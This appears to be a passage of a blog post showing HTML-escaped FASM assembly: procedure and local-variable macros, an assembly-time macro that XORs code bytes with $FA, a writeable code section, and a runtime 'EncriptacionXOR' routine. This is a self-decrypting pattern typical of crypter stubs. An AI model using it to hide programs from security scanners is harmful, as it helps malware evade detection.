style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;var&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt; equ first \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; initlocal@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;def&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; virtual &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;at&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;br /&gt;   def&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;@initlocal = $ &lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; virtual&lt;br /&gt;  position@initlocal = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;while&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;@initlocal &amp;gt; position@initlocal&lt;br /&gt;   virtual &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;at&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;br /&gt;    def&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;@initlocal &lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt; position@initlocal &amp;lt; &lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;     current@initlocal = &lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;     load &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;@initlocal &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt; from &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;position@initlocal&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;size&lt;/span&gt;@initlocal &lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt; position@initlocal &amp;lt; &lt;span style="color: rgb(0, 0, 255);"&gt;4&lt;/span&gt;&lt;br /&gt;     current@initlocal = &lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;     load &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;word&lt;/span&gt;@initlocal &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;word&lt;/span&gt; from &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;position@initlocal&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;     current@initlocal = &lt;span style="color: rgb(0, 0, 255);"&gt;4&lt;/span&gt;&lt;br /&gt;     load &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt;@initlocal &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt; from &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;position@initlocal&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; virtual&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; current@initlocal = &lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;position@initlocal&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;@initlocal&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; current@initlocal = &lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;word&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;position@initlocal&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;word&lt;/span&gt;@initlocal&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;position@initlocal&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dword&lt;/span&gt;@initlocal&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;   position@initlocal = position@initlocal &lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt; current@initlocal&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;while&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;purge&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;locals&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;endl&lt;br /&gt;  finish@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;purge&lt;/span&gt; finish@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;br /&gt;  restore regs@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;br /&gt;  match &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;args@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; restore &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  restore args@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt;&lt;br /&gt;  match &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt;@vars \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; restore &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;all&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;var&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   locals&lt;br /&gt;  forward done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; equ&lt;br /&gt;   match varname&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;count&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;vartype&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; var&lt;br /&gt;   \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;BYTE&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname rb count&lt;br /&gt;                               restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;WORD&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname rw count&lt;br /&gt;                               restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;DWORD&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname rd count&lt;br /&gt;                                restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =PWORD&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname rp count&lt;br /&gt;                                restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;QWORD&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname rq count&lt;br /&gt;                                restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;TBYTE&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname rt count&lt;br /&gt;                                restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =DQWORD&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt; varname dqword&lt;br /&gt;                                 rq count&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;count&lt;br /&gt;                                 restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; virtual&lt;br /&gt;                              varname vartype&lt;br /&gt;                             &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; virtual&lt;br /&gt;                             rb count&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;\#vartype&lt;br /&gt;                             restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   match &lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;varname&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;vartype&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;var&lt;br /&gt;   \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;BYTE&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; ?&lt;br /&gt;                               restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;WORD&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dw&lt;/span&gt; ?&lt;br /&gt;                               restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;DWORD&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;                                restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =PWORD&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname dp ?&lt;br /&gt;                                restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;QWORD&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dq&lt;/span&gt; ?&lt;br /&gt;                                restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;TBYTE&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dt&lt;/span&gt; ?&lt;br /&gt;                                restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match =DQWORD&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; vartype \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt; varname dqword&lt;br /&gt;                                 &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dq&lt;/span&gt; ?&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;?&lt;br /&gt;                                 restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;      match &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; varname vartype&lt;br /&gt;                             restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \\&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;   match &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt;&lt;br /&gt;   \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; var&lt;br /&gt;      restore done@&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; \&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   endl &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; encrypt dstart&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;dsize &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;char&lt;span style="color: rgb(51, 153, 51);"&gt;,..&lt;/span&gt;key&lt;span style="color: rgb(51, 153, 51);"&gt;,..&lt;/span&gt;shift&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;repeat&lt;/span&gt; dsize&lt;br /&gt;       load &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;char from dstart&lt;span style="color: rgb(51, 153, 51);"&gt;+%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;char = &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;char &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; $FA&lt;br /&gt;       store &lt;span style="color: rgb(51, 153, 51);"&gt;..&lt;/span&gt;char &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;at&lt;/span&gt; dstart&lt;span style="color: rgb(51, 153, 51);"&gt;+%&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;repeat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;entry start&lt;br /&gt;section &lt;span style="color: rgb(127, 0, 127);"&gt;'.text'&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;code&lt;/span&gt; readable executable  writeable&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; EncriptacionXOR&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cTamaño&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cTamaño&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Start&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jbe&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;$FA&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: 